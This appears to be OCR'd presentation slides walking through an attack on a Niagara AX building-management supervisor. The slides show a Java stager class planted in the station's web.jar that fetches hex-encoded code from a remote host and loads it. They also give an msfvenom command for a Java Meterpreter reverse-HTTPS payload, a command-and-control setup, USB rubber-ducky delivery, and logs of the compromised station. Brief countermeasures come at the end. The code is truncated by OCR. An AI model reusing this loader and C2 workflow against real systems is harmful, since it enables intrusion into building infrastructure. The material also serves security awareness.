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0. Introduction

e The goal of this presentation is to demonstrate through a
practical use case how a BMS system can be compromised.

e To do so we will use standard pentesting tools like Metasploit
to perform this attack.


https://www.rapid7.com/products/metasploit/

1. General architecture

e To perform this attack, we will need to :

o infect the BMS supervisor with a rogue jar file

o build a control and command center to exploit
e Here are some useful links to help you to set this up.

o Multi-Tool Multi-User HTTP Proxy
o Nginx as a reverse proxy
o Docker build reference

o Metasploit framework


https://www.swordshield.com/2016/10/multi-tool-multi-user-http-proxy/
https://www.nginx.com/resources/admin-guide/reverse-proxy/
https://docs.docker.com/engine/reference/builder/
https://www.offensive-security.com/metasploit-unleashed/

Command and Control center (C2)

e The victim BMS supervisor will connect back to the C2
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Victim

.

Supervisor

Niagara supervisor
Payload reverse https

192.168.0.10/24

Configuration
*  Windows 10 pro

*  Niagara AX 3.8.x
*  Antivirus
*  Firewall

https://my-c2.net/abcd-1234-1/pwn

———
- -
o
-
-

reverse https connection

'\_//

Command and control center (C2)

/

0.0.0.0:1234

* HTTPS 0.0.0.0:1235

0.0.0.0:1236

NGiNX

https://my-c2.net:443

Jabcd-1234-1/pwn

—»

[abcd-1234-2/pwn

wawax/kali-nogui .&

G /abcd-1234-3/pwn

\

172.19.0.2

B Armitage
. noVPN / LXDE

woawax/kali-novpn .&

172.19.0.3
Analyst 2

Msfconsole
Console only

172.18.0.4
Analyst 3

Msfconsole
Console only

\ *Ips /DNS names are just to illustrate

vttt
/

Docker images (home made)

*  kali-novnc : version with Ixde accessible through web no-vnc server

*  kali-nogui : msfconsole only in a shell


https://bitbucket.org/wawaxteam/docker-kali-nogui

2. Vector of attack

e To initiate this attack we will use a usb key that will inject the
rogue jar file on the victim PC.

e This type of attack can easily be conducted by using a rubber
ducky for example ..!


http://usbrubberducky.com/#!index.md

3. Creation of a custom bootstrap

e We first need to create a specific java class loader that will be
injected into an existing jar file of the BMS supervisor.

e This will initiate the download of the payload we will forge later
on when the Niagara station is booting up.




Java bootstrap code

/>l<>|<
* Minified version of the bootstrap code
*/

public class CompressedStagerLoader {

/**
* payload Launcher
*/
public CompressedStagerLoader() {
try {
URLConnection con = new URL("https://my-url/some-pz
BufferedReader in = new BufferedReader(new InputStr
StringBuilder a = new StringBuilder();
String stager;
while ((stager = in.readlLine()) != null)a.append(st
in.close();




URLClassLoader urlcl = new URLClassLoader(new URL] ]
URL u = new URL("jar", "", urlcl.getURLs()[O] + "!/

FileOutputStream fos = new FileOutputStream(urlcl.g
fos.write(DatatypeConverter.parseHexBinary(a.toStri
fos.close();

JarURLConnection uc = (JarURLConnection) u.openConr
uc.getMainAttributes().getValue(Attributes.Name.MAI

Class c¢ = urlcl.loadClass(uc.getMainAttributes().ge

c.getMethod("main", new Class[]{new String[]{}.getC

con.getInputStream().close();

urlcl.close();

Files.delete(Paths.get(urlcl.getURLs()[©].toURI()))
} catch (Exception e) {

e.printStackTrace();
}




4. Forging a payload

This is the shell code that will give us a remote access to the
BMS supervisor

e Msfvenom

i~B
Usage: Jopt/framework/msif3/msfvenom [options]

Options:
-—payload [payload] Payload to use. Specify a '
-=list [module type List a module type example:

-—-nopsled [1e nu:_ft.h]_ Prepend a nopsled of [length
——format [format] Format to output results in:
-—encoder [encoder] The

2, ==garch [architecture] The architecture to use
——platform [platform]

e Build a java reverse https payload

$> msfvenom -p java/meterpreter/reverse https LHOST=my-c2.net



https://www.offensive-security.com/metasploit-unleashed/msfvenom/

5. Workflow of the attack

e |n this section we will see how the payload is staged and how
the execution is done in multiple steps.

e The payload will be launched by the Niagara process when a
station start but will reside in memory in a separated thread.

e |f you look at the processes executed in memory you will find

some binded to your C2 IP on the https port.
You can use ProcessXP to identify those processes.


https://technet.microsoft.com/en-us/sysinternals/processexplorer.aspx

Staged payload

Local modified jar Modified existing class bytecode Stage O: custom java classloader
Cloud shared Encoded string containing the hex Stage 1: reverse socket https
text file code of the jar

Cloud C2 Jar file Stage 2: meterpreter shell



State flow

Victim Public file share Private C2 center

|

Get /encodedTextFile 1
% Stage 0 M I
|
Encoded stagel : I
|

|
Load new bytecode into I heys |
| ; the JVM memory I |
I I :
Get /abcd-1234-1/pwn I 1
0+1 l |
: Meterpreter jar : |
I« | . :
: Load new bytecode into : I
| : the JVM memory : I
|
Stage Reverse https connection : =|

0+1+2 I | .

i i itati |
| New session established, exploitation can start



Stage 0 :: Rogue module web.jar

e |ooking at the bytecode we can see that this version of the

web.jar module contain a special function that will call a

remote URL where is our encoded string for the stage 1

[#- Constant Pool

- # Interfaces

'1] Fields

- Methods

: [ | dequeue

. @] jrun

! Ii getHostAddressString

: [#- | handleReguest

W | tunnel

& trace

. B | tracePath

© [ | traceRequest

i E getReguestCount

. @ | getBusy

© [~ | getAge

. B | getlastActivity

@ <init>

1 =28 compressedStagerLoader
&

= ArtiriooEs

-4 General Information

- Generic info:
Attribute name index: o info 2258
Atiribute length: 567

Specific info:

Bytecode Exception table Misc Code Editor

il 0 getstatic H171 <comn/tridium/hctpd/Htcpd/pathloy Ljavax/bajaslog/Log:>
a 3 lde #182 < L. Ao

3 5 invokevirtual #170 <javax/baja/log/log/trace(ljava/lang/3tring;)V>

4 & mew #1883 <Jjava/nets/URL>

5 11 dup

& |12 lde #184 <https:/ Jindesx. php s/ Sdowmloads

7 |14 invokespecial #1865 <java/net/URL/<inits(Liava/lang/String; Ve

g |17 invokevirtual #1866 <java/net/URL/openConnection()liava/net/TRLCommection ;s
5 Z0 astore I

10 21 new #187 <java/io/BufferedReader>

11 24 dup

1z 25 mew #1868 <java/io/InputitreanReader>

132 28 dup

14 29 alual:l_:l



Stage 1:: Encoded string containing the reverse https
socket

e This is a normal text file containing the encoded binary jar

e The stage 0 will decode and load in memory the jar
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Stage 2 :: Meterpreter shell

To illustrate this part let's see on the C2 msfconsole

Here we can see that a connection was requested by our victim
target and a meterpreter session is started.



6. Exploitation

From here the fun can start ! When the latest stage is loaded a
reverse https connection is established with the command and
control center. Depending on the url you set up when you
have forged your payload the traffic will be routed to one of
docker container used by your analysts.

On the C2 side msfconsole is launched and a listener has been
set up to receive the inbound connections.

Once the link is established a meterpreter session will start.

So from here you have an access to the PC running the
supervisor and you can operate your audit.



Niagara station has been >h@ck3d!

During the boot of the station the bootstrap code start to
dowload the first stage of the java meterpreter payload.

Connected to localhost

station |Running |fox=1911,foxs=4911, http=80,https=443 |false

TRACE [14:51:14 24-Nov-16 JST] [web.server.paths]

b4
el
[
N | ( [Follow the white rabbit ...]

— ) )
MESSAGE [14:51:53 24-Nov-16 JST] [web.server] HITP server started on port [80]

MESSAGE [14:51:23 24-Nov-16 JST] [fox] FOX server started on port [1911]

MESSAGE [14:51:23 24-Nov-16 JST] [sys] Niagara Runtime Environment: 3.8.111

MESSAGE [14:51:23 24-Nov-16 JS5T] [sys] *** Station Started (28141ms) [32377ms total] #***
niagara>MESSAGE [14:51:23 24-Nov-16 JST] [fox] FOXS server started on port [4911]
MESSAGE [14:51:23 24-Nov-16€ JSTI] [web.server] HITIPS server started on port [443]

POwned (> _<)!

Then, once last stage is downloaded, a reverse https
connection is established to the C2.



About this attack scheme

e This type of attack is basic but nevertheless can compromise
pretty fairly a system with an average protection.

e You should keep in mind that more advanced techniques like
obfuscation, migration process in memory, dynamic AV evasion
and many more other things can help the attacker to be more
efficient and more discrete.

e So itis important to consider that even if you can prevent this
kind of attacks you still need to think your security strategy as
a dedicated task in your project management and not as a
secondary priority.



7. Example of counter measures

e Antivirus up-to-date
e Firewall with restrictive policy for outbound connections
e Protect USB port access !

e Only download a distribution of the software through your
vendor

e Check the checksums

e Migrate to Niagara 4 that use signed JAR



Thank you very much !

m( )m

Designed with Marp : https://yhatt.github.io/marp/



